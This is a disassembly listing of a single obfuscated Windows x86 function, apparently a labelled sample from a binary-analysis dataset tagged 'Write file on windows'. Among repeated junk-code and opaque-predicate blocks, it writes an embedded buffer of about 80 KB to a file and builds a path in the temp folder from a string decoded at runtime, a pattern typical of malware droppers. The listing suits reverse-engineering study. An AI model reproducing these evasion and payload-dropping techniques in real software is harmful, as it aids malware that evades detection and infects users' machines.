Function at 0x5cfeda
Capabilities:
Write file on windows

Disassembly:
jae 0x5cfdd2
jmp 0x5cfdcd
call fcn.005cfdd4
jae 0x5cfdcd
add esp, 4
jmp 0x5cfdd9
dec dword [esp]
jno 0x5cfdde
jns 0x5cfdc9
jp 0x5cfde2
add esp, 4
popf
jmp 0x5cfde9
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5cfe02
and dword [ebp + 0x74], ecx
add esi, dword [ebp + 1]
je 0x5cfe07
jne 0x5cfe07
call 0x101d315b
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5cfe21
jne 0x5cfe20
call 0x8360eea8
rol byte [ebx + eax*4], 0xf0
add eax, 0x354c1068
popal
xor eax, 3
add eax, 4
xor eax, 5
push 0x61354c10
lea ecx, [ebp - 0x43]
call fcn.005d1d00
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
call fcn.005af9ae
add esp, 4
lea ecx, [ebp - 0x43]
call fcn.005d1de0
je 0x5cfe53
jne 0x5cfe53
mov al, 0x7c
add ebp, ebx
add esi, dword [eax - 0x6399048c]
jl 0x5cfe58
jmp 0x5cfe5a
je 0x5cfe55
pushf
push 0xa
jae 0x5cfe67
jmp 0x5cfe62
call 0x5cfe69
jae 0x5cfe62
add esp, 4
jmp 0x5cfe6e
dec dword [esp]
jno 0x5cfe73
jns 0x5cfe5e
jp 0x5cfe77
add esp, 4
popf
jmp 0x5cfe7e
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5cfe97
mov al, 0x74
add esi, dword [ebp + 1]
je 0x5cfe9c
jne 0x5cfe9c
call 0x101d31f0
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5cfeb6
jne 0x5cfeb5
call 0x8360ef3d
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x5cfec4
jne 0x5cfec4
outsb dx, byte [esi]
jl 0x5cfec9
jmp 0x5cfecb
je 0x5cfec6
pushf
push 0xa
jae 0x5cfed8
jmp 0x5cfed3
call 0x5cfeda
jae 0x5cfed3
add esp, 4
jmp 0x5cfedf
dec dword [esp]
jno 0x5cfee4
jns 0x5cfecf
jp 0x5cfee8
add esp, 4
popf
jmp 0x5cfeef
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5cff08
ret
je 0x5cff0d
jne 0x5cff0d
call 0x101d3261
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5cff27
jne 0x5cff26
call 0x8360efae
rol byte [ebx + eax*4], 0xf0
add eax, 0x354c1068
popal
xor eax, 3
add eax, 4
xor eax, 5
push 0x61354c10
lea ecx, [ebp - 0x35]
call fcn.005d1d00
mov dword [ebp - 0x1c], eax
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x35]
call fcn.005d1de0
je 0x5cff6c
jne 0x5cff6c
sar dword [ebx + eax - 0x15], 1
add edx, ecx
jl 0x5cff71
jmp 0x5cff73
je 0x5cff6e
pushf
push 0xa
jae 0x5cff80
jmp 0x5cff7b
call 0x5cff82
jae 0x5cff7b
add esp, 4
jmp 0x5cff87
dec dword [esp]
jno 0x5cff8c
jns 0x5cff77
jp 0x5cff90
add esp, 4
popf
jmp 0x5cff97
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5cffb0
cwde
sal dword [ebx + eax + 0x75], 1
add eax, ebp
je 0x5cffb5
jne 0x5cffb5
call 0x101d3309
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5cffcf
jne 0x5cffce
call 0x8360f056
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x5cffdd
jne 0x5cffdd
aaa
jl 0x5cffe2
jmp 0x5cffe4
je 0x5cffdf
pushf
push 0xa
jae 0x5cfff1
jmp 0x5cffec
call 0x5cfff3
jae 0x5cffec
add esp, 4
jmp 0x5cfff8
dec dword [esp]
jno 0x5cfffd
jns 0x5cffe8
jp 0x5d0001
add esp, 4
popf
jmp 0x5d0008
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d0021
insd dword es:[edi], dx
aaa
je 0x5d0026
jne 0x5d0026
call 0x101d337a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d0040
jne 0x5d003f
call 0x8360f0c7
rol byte [ebx + eax*4], 0xf0
add eax, 0xc0e8046a
mov esp, 0xc483fffb
add al, 0x89
inc ebp
call 0x55e800c4
call 0x3fc568b1
add dword [eax], eax
xor eax, 3
add eax, 4
xor eax, 5
push 4
call fcn.0058bd10
add esp, 4
mov dword [ebp - 0x18], eax
push 0
mov edx, dword [ebp - 0x18]
push edx
push 0x13f68
push 0x6bafb8
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
je 0x5d0075
jne 0x5d0075
lcall 0x749a, 0x3eb037c
sti
jl 0x5d007a
jmp 0x5d007c
je 0x5d0077
pushf
push 0xa
jae 0x5d0089
jmp 0x5d0084
call 0x5d008b
jae 0x5d0084
add esp, 4
jmp 0x5d0090
dec dword [esp]
jno 0x5d0095
jns 0x5d0080
jp 0x5d0099
add esp, 4
popf
jmp 0x5d00a0
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d00b9
inc edx
lcall 0x50e8, 0x1750374
je 0x5d00be
jne 0x5d00be
call 0x101d3412
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d00d8
jne 0x5d00d7
call 0x8360f15f
rol byte [ebx + eax*4], 0xf0
add eax, 0x51fc4d8b
xor eax, 3
add eax, 4
xor eax, 5
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x5d00f0
jne 0x5d00f0
arpl word [ebx + eax - 0x15], di
add esp, dword [ebx + 0x74]
sti
jl 0x5d00f5
jmp 0x5d00f7
je 0x5d00f2
pushf
push 0xa
jae 0x5d0104
jmp 0x5d00ff
call 0x5d0106
jae 0x5d00ff
add esp, 4
jmp 0x5d010b
dec dword [esp]
jno 0x5d0110
jns 0x5d00fb
jp 0x5d0114
add esp, 4
popf
jmp 0x5d011b
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d0134
jmp 0x7560759a
je 0x5d0139
jne 0x5d0139
call 0x101d348d
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d0153
jne 0x5d0152
call 0x8360f1da
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x5d0161
jne 0x5d0161
invalid
jl 0x5d0166
jmp 0x5d0168
je 0x5d0163
pushf
push 0xa
jae 0x5d0175
jmp 0x5d0170
call 0x5d0177
jae 0x5d0170
add esp, 4
jmp 0x5d017c
dec dword [esp]
jno 0x5d0181
jns 0x5d016c
jp 0x5d0185
add esp, 4
popf
jmp 0x5d018c
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d01a5
mov esi, 0x750374c6
add eax, ebp
je 0x5d01aa
jne 0x5d01aa
call 0x101d34fe
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d01c4
jne 0x5d01c3
call 0x8360f24b
rol byte [ebx + eax*4], 0xf0
add eax, 0xfeb8958d
invalid
xor eax, 3
add eax, 4
xor eax, 5
lea edx, [ebp - 0x148]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
je 0x5d01e4
jne 0x5d01e4
sub al, 0x7c
add ebp, ebx
add ebp, dword [esp + esi*2]
sti
jl 0x5d01e9
jmp 0x5d01eb
je 0x5d01e6
pushf
push 0xa
jae 0x5d01f8
jmp 0x5d01f3
call 0x5d01fa
jae 0x5d01f3
add esp, 4
jmp 0x5d01ff
dec dword [esp]
jno 0x5d0204
jns 0x5d01ef
jp 0x5d0208
add esp, 4
popf
jmp 0x5d020f
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
clc
jae 0x5d0228
xchg ebx, eax
sub al, 0x74
add esi, dword [ebp + 1]
je 0x5d022d
jne 0x5d022d
call 0x101d3581
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x5d0247
jne 0x5d0246
xor eax, 3
add eax, 4
xor eax, 5
push 0x6cbeca3c
lea ecx, [ebp - 0x27]
call fcn.005d1d40
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp - 0x148]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x27]
call fcn.005d8450
lea edx, [ebp - 0x148]
push edx
call fcn.005af9ae
add esp, 4
je 0x5d028d